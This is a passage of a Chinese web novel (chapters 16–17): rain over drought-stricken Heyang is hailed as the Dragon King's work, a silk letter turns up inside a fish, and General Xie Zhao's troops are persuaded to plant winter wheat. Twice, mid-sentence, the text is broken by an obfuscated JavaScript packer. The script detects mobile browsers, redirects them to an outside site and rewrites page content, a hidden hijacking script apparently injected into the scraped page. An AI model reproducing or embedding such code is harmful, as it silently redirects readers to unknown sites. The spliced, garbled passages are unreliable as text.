今日系统未激活相关类型套装,怎会突然降雨?巧合?天意? 还是…… 他眸光微闪,嘴角勾起一抹若有若无的笑意。乱世之中,民心如棋,天赐良机,焉能不用? 他未开口,只是静静立于檐下,衣袍在风中猎猎作响。 韩七看了他一眼,眼中闪过一丝了然,猛地转身冲入雨中,高声喊道:“龙王爷显灵!天降甘霖!后土娘娘庇佑河阳!” 祠外,百姓早已沸腾。 雨水冲刷着他们的脸庞,有人张嘴吞咽雨水,有人捧着泥泞痛哭:“龙王爷!救救我们!” 一个跛脚老汉跪在泥里,双手合十:“龙王爷!您两次降雨,老汉这辈子没见过这等神迹!” 旁边的妇人抱着孩子,泪流满面:“龙王爷!俺娃有救了!有救了!” 连庙外的流民都听到了动静,拖家带口跑来,跪在雨中,哭喊着“龙王显灵”。 人群越聚越多,灯笼在屋檐下摇曳,映出一张张狂热的脸。 太生微站在檐下,衣袍上的光晕在雨幕中若隐若现。 他低声呢喃:“下雨了。” …… 与此同时,河阳城外三十里,青岚河畔。 暴雨如注,青岚河水位暴涨,浊浪翻滚。 谢昭勒马停在一处山洞前,雨水顺着他的斗笠滴落,砸在泥地上,溅起细碎的水花。 “将军,雨太大,先进洞避一避!” 谢瑜高声喊道,声音几乎被雨声淹没。 谢昭抬头望天,雨水砸在他脸上,冰凉刺骨。 “下雨了……?” 他翻身下马,大步走向山洞。 五千虎贲军纪律严明,迅速列队避雨,三千谢氏私兵却有些散乱,不少人低声抱怨,眼神闪烁。 “这鬼天气,说变就变……”一个私兵啐了一口,语气不忿,“不是说河阳大旱两年吗?怎么又下这么大?” “该不会真是那个太生微求来的吧?”另一个私兵压低声音,语气半信半疑。 “呸!一个河阳府尹的儿子,装神弄鬼罢了!”为首的统领李猛冷哼,“咱们可是谢氏精锐,凭啥听他一个毛头小子的?” 虎贲军的副将王肃瞥了他们一眼,冷声道:“闭嘴!将军自有决断。” 山洞内,火堆燃起,驱散了湿寒。 谢昭摘下斗笠,随手丢在一旁,雨水顺着发梢滴落。 他走到洞口,盯着外面的雨幕,神色有些令人捉摸不透。 “将军?”谢瑜凑近,低声道,“这雨……来得蹊跷。” 谢昭笑而不语,转身坐下,随手拨弄柴火。 洞外,几个私兵从青岚河边跑回,手里拎着几条肥鱼,兴冲冲道:“将军!河里鱼多,兄弟们抓了几条,烤来吃!” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723263|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛接过一条鱼,抽出匕首熟练地剖开鱼腹。突然,他动作一僵,眼中闪过震惊。 “这是……”他从鱼腹中扯出一块布帛,湿漉漉的,却完好无损。 谢瑜凑近一看,瞳孔微缩。 这布帛正是半月前太生微祈雨后,抛入青岚河的帛书! 当时帛书被鱼吞吃,众人以为早已毁烂,可如今竟从鱼腹中取出,字迹清晰,丝毫无损! “这……”李猛声音颤抖,手指攥紧布帛,“鱼腹里……怎会有这东西?” 洞内一片死寂,所有人都盯着那块布帛。 几个私兵面面相觑,眼中既有震惊,又有恐惧。 “半月前的帛书……没被水泡烂,也没被鱼消化……”一个年轻私兵咽了口唾沫,“这……真是神迹?” 李猛张了张嘴,想反驳,却发现无话可说。 他虽当日没见太生微祈雨的场景,但也听说是霞光万丈。 王肃冷哼一声,打破沉默:“太生微两次降雨,河阳百姓视其为龙王。你们还觉得他是装神弄鬼?” 李猛脸色涨红,握着布帛的手微微颤抖。 其他私兵低头不语,眼中怀疑逐渐被震撼取代。 谢昭一直沉默,此刻终于开口,声音低沉却玩味:“河阳大旱两年,滴水不落,可这已是半月内第二场雨。” 他抬头,目光扫过众人,落在布帛上:“鱼腹藏帛,完好无损。你们说,这是巧合,还是天命?” 没人敢答。 谢昭也不需要他们回答。 他站起身,走到洞口,望着远处被雨幕笼罩的河阳城,眼神复杂。 半月前,他初见太生微,只觉此人气度不凡,却未料其真有神异之能。 如今又是一场雨,这块布帛……他心中信了八九分。 谢昭自顾自地继续道:“大旱两年,赤地千里,流民遍野,朝廷却毫无作为。” “你说,这已经算是天灾。” 谢瑜脸色微变:“将军慎言!” 谢昭嗤笑一声,毫不在意。 “慎言?” “天下已经烂成这样了,还需要‘慎言’?” 他转身,目光扫过洞内众人—— 谢昭知道他们在想什么。 谢昭疯了,放着睿王不投,去跟一个河阳的小子混? 他忽然觉得有趣。 “你们是不是觉得,我选太生微,是脑子坏了?” 众人一静。 谢昭冷笑一声,走到火堆旁坐下,随手拨弄着柴火。 “睿王?皇帝的亲弟弟?” “天下已经烂成这样了,神明若还眷顾皇室,会眼睁睁看着百姓饿死?” 谢瑜脸色大变,急忙低喝:“将军!这话可不能乱说!” 谢昭却毫不在意,反而提高了声音: “君权神授?哈!” “若皇帝真是天命所归,为何大旱两年,朝廷却连一粒赈灾粮都发不出来?” “若神明还眷顾,为何赤地千里,百姓易子而食?” 洞内一片死寂,只有柴火噼啪作响。 所有人都被谢昭的话震住了。 ——大逆不道! 可偏偏……他们无法反驳。 谢昭盯着火堆,眼神冷冽。 “睿王也好,皇帝也罢,不过是一群被神明抛弃的可怜虫。” “而太生微——” “他能让两年不雨的河阳,在一月之内两次暴雨倾盆。” “你们说,这是巧合,还是天命?” 没人敢回答。 谢昭也不需要,他说这番话,只是让谢氏私兵收收心,他可不想这群跟着他,还有异心随时想着叛逃。 虽说是谢氏的兵,但既然已经在他手上,那就是他谢昭的。 他要寻新主,他们也得紧随。 17.第 17 章 青岚河畔的雨势渐弱,天边露出一线微光,像是破茧而出的曙色。 谢昭勒住战马,目光扫过前方蜿蜒的官道。 “将军,前面就是河阳地界了。”谢瑜策马靠近,低声道,“再走半个时辰,便能到城门。” 谢昭“嗯”了一声,目光却不由自主地偏向左侧。 官道旁,一片广袤的农田映入眼帘,田埂纵横,泥泞不堪。 奇怪的是,这片田里人头攒动,黑压压的至少有数千人,嘈杂的人声随风传来,隐约夹杂着号子声和吆喝声。 “这是做什么?”谢昭皱眉,抬手示意队伍放缓脚步。 谢瑜眯眼远眺,片刻后低声道:“像是……在种田?瞧那架势,像是有人在指挥。” 谢昭顺着他的目光看去,果然见田间有几个身影来回奔走,似在分配任务。 田埂上站着几个汉子,手持木棍,吆喝着让人群排成队列。 远处,几架牛车停在田边,车上堆满了麻袋,几个妇人正忙着分发什么东西。 “种田?”李猛策马凑近,语气带着几分不屑,“这时候种田?河阳刚下过暴雨,地里全是水,种下去的种子还不全烂了?” 谢昭没理他,目光继续在田间游移。 突然,他眼神一凝,落在田埂尽头的一道身影上。 那人身着淡蓝长袍,端坐在一张简陋的木椅上,身旁撑着一把油纸伞,伞下隐约可见一张苍白的脸。 “是他。”谢昭开口道。 谢瑜顺着他的视线看去,愣了一下:“太生微?” 田间,数百流民正忙碌着。 男丁们赤着脚,踩在泥泞的田里,用木锨翻开板结的泥土,妇人们跟在后面,将种子小心翼翼地撒入沟槽。 几个老汉牵着牛,慢吞吞地拉着木犁,犁头翻起的泥土散发出一股腐臭。 田埂上,几个青壮汉子来回巡走,吆喝着让队伍加快速度。 “快些!日头出来前得把这片地种完!”一个汉子喊道。 “种子别撒太密!一垄一垄来!”另一个汉子挥舞木棍,指挥着人群。 谢昭眯起眼睛,视线穿过稀疏的田地。 田埂上插着几面褪色的皂旗,歪歪扭扭地写着“河阳”二字。 而在最靠近官道的田块里,一个熟悉的身影正弯腰挥锄,靛蓝色的府尹官袍卷到膝盖,沾满泥浆,正是太生明德。 他身旁几个老吏也如法炮制,手里的锄头使得不算娴熟,却异常卖力,带动着周围的流民更加起劲地翻整土地。 “府尹大人竟也亲自动手?”谢瑜低声惊叹。 谢家世代簪缨,何曾见过一府之长与庶民同耕? “太生府尹……亲自下田了?”一名谢氏私兵也低声嘀咕,语气里满是难以置信。 在他们印象里,州郡长官即便巡视农田,也多是骑在马上指手画脚,哪有这般赤脚下地的? 谢昭没有说话,双腿轻夹马腹,乌骓马踏过一道积水的车辙,朝田边靠近。 马蹄声惊动了田埂上的差役,那人抬头看见谢昭一行鲜明的甲胄与旗帜,先是一愣,随即扔下手中的竹筐,跌跌撞撞地跑向田中央。 太生微就坐在田埂尽头的一棵老槐树下,衣袍下摆拖在泥地上,却不见半点污渍。 他面前摊着一张粗布地图,几枚石子压着边角,旁边站着韩七,正低声汇报着什么。 听见动静,太生微抬起头。 他今日未束发,仅用一根玉簪松松挽住,几缕发丝垂在额前,沾了些水汽,显得格外清俊。看见谢昭策马而来,他唇角微扬,露出一抹似笑非笑的弧度,却没有起身,只是抬手示意韩七继续说话。 “……东边的排水渠还差两丈,张伯说再调十个青壮就能贯通。”韩七的声音压得很低,目光却时不时瞟向越来越近的谢昭队伍,“只是这雨来得突然,冬小麦的种子怕是要加急调拨,府库现存的……” “不够。”太生微打断他,视线落在地图上勾勒的几个圆点,“让陈明去南商盟,就说需借粮五百石,以夜明珠作押。” 他顿了顿,补充道,“记住,是‘借’,不是‘要’。” 韩七领命退下,路过谢昭马前,他微微颔首示意。 谢昭翻身下马,将缰绳丢给亲兵,径直走向老槐树。 “太生公子雅兴,雨后观田。”谢昭开口,语气听不出喜怒。 他注意到太生微脚边放着一双草鞋,显然是准备下地的,却不知为何又坐了回来。 太生微抬眸,笑容清浅:“谢将军折煞我了。不过是家里老爷子非要亲自动手,我在此坐镇罢了。” 他朝田中央努了努嘴,太生明德正挥锄刨开一丛板结的泥土,额头上的汗珠混着雨水滑落,“长者为先,我这做儿子的,哪好意思抢了风头?” 这话半真半假。 太生微确实不擅长农活,前世今生都未握过锄头,强行上阵只会露怯。 更重要的是,“龙王”若事事亲为,反倒失了神秘感。适当的亲民是必要的,但神明的距离感必须维持。 他只需站在高处指点,便能让百姓觉得“龙王爷”心系民生,又不损其威严。 谢昭顺着他的目光望去,只见太生明德一锄下去,竟带起半块烧硬的土坷垃,引得旁边几个老农哄笑起来。 太生明德也不恼,抹了把脸,咧着嘴跟着笑,那副模样哪还有半分府尹的架子? 谢昭心中微动,这太生家父子,倒是把“民心”二字琢磨透了。 “我听说,”谢昭收回目光,落在太生微脸上,“公子近日要在后土祠祈福?” 他一路赶来,沿途流民无不称颂“龙王爷”即将请动后土娘娘,赐福土地。 这传言编得有鼻子有眼,甚至有人说看见太生微夜观天象,手中握着什么“后土冠”。 太生微闻言,眼中闪过一丝讶异,随即点头:“将军消息灵通。确实有此打算。” 他指尖轻轻敲击着地图,“暴雨虽解旱情,可土地板结,不借神力,冬小麦难活。” 他顿了顿,看向谢昭,“需在土地‘肥沃’前,把种子全种下去。” “肥沃”二字他说得极轻,却带着不容置疑的笃定。 谢昭挑眉,想起昨夜鱼腹中取出的帛书,又想起那场突如其来的暴雨,心中那点疑虑再次翻涌。 他见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733210|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过太多装神弄鬼的术士,却从未见过如此能牵动天时、民心的“神棍”。 “怀县那边,”谢昭忽然转了话题,语气随意,“郡尉赵严收拢了王贺的残部,约莫两千人,据守城西粮仓。那厮手段狠辣,倒是块硬骨头。” 谢昭盯着他,试探道:“公子就不担心?河阳虽有民心,可兵力……怕是不足以抗衡赵严吧?” 太生微轻笑一声,转身与他对视,眼中笑意吟吟:“谢将军既然折返,莫非不帮我?” 谢昭一噎,眉头微皱。 这话说得轻巧,正要开口,太生微却又道:“本想着将军入城后,河阳府当设宴款待,以谢将军千里驰援之恩。奈何时节匆忙,冬小麦需赶在霜降前种下,法事在即,种子尚未播完。若将军不弃……不妨帮个忙?” 谢昭嘴角抽了抽,盯着太生微那张笑意盈盈的脸,半晌没说出话来。 这人……使唤他使唤得也太顺手了吧? 堂堂虎贲中郎将,八千精兵在手,竟被一句话堵得要下田种地? “公子好口才。”谢昭冷哼一声,语气带着几分不爽,“可我这八千兵,不是农夫。” 太生微也不恼,目光扫过田间,淡淡道:“冬小麦种下,河阳明年可粮仓充实。将军若助一臂之力,流民感念,民心自会更稳。赵严虽有数千兵,可无民心依托,终是无根之木。” 田埂上的风带着泥土的腥气吹来,太生明德那边又传来一阵吆喝,几个流民抬着一筐麦种从他们身边走过,好奇地打量着谢昭一行铁甲兵。 “将军?”太生微又唤了一声,语气带着一丝不易察觉的催促。 谢昭忽然觉得有些好笑。 他谢昭,虎贲中郎将,何时被人如此“邀请”着去种田了? 可看着太生微那副理所当然的模样,再想想怀县赵严的数千残兵,以及河阳这盘越下越大的棋,他竟鬼使神差地点了点头。 “怎么帮?” …… 十分钟后。 谢昭站在田埂上,靴子已沾满泥泞,手里拿着一把木锨,脸色黑得能滴出墨来。 身后,八千兵丁散布在田间,盔甲脱下堆在田边,个个赤着膀子,挥汗如雨地翻土、撒种。 “将军,这地真硬!”谢瑜抹了把汗,抱怨道,“暴雨冲得土都板结了,锨下去跟砸石头似的!” “少废话!”谢昭没好气地瞪他一眼,“既然来了,就干利索点!” 李猛站在不远处,挥着锨翻土,嘴里嘀咕:“堂堂谢氏精锐,跑来给流民种田……这事传出去,我脸往哪搁?” “闭嘴!”谢昭冷哼,“种田怎么了?河阳民心在太生微手里,咱们不帮,他照样能成事。到时候赵严兵临城下,你想两头不是人?” 李猛撇撇嘴,不敢再吭声,低头狠狠刨土。 田埂上,太生微重新坐回去,油纸伞撑开,遮住头顶的日光。 他看着田间忙碌的景象,唇角微勾,转头看向已经回返的韩七:“我说过,人力总会够的。” 韩七嘴角抽了抽,目光扫过田间那八千兵丁,心中五味杂陈。 昨日,他还在担忧赵严如何应对,如今……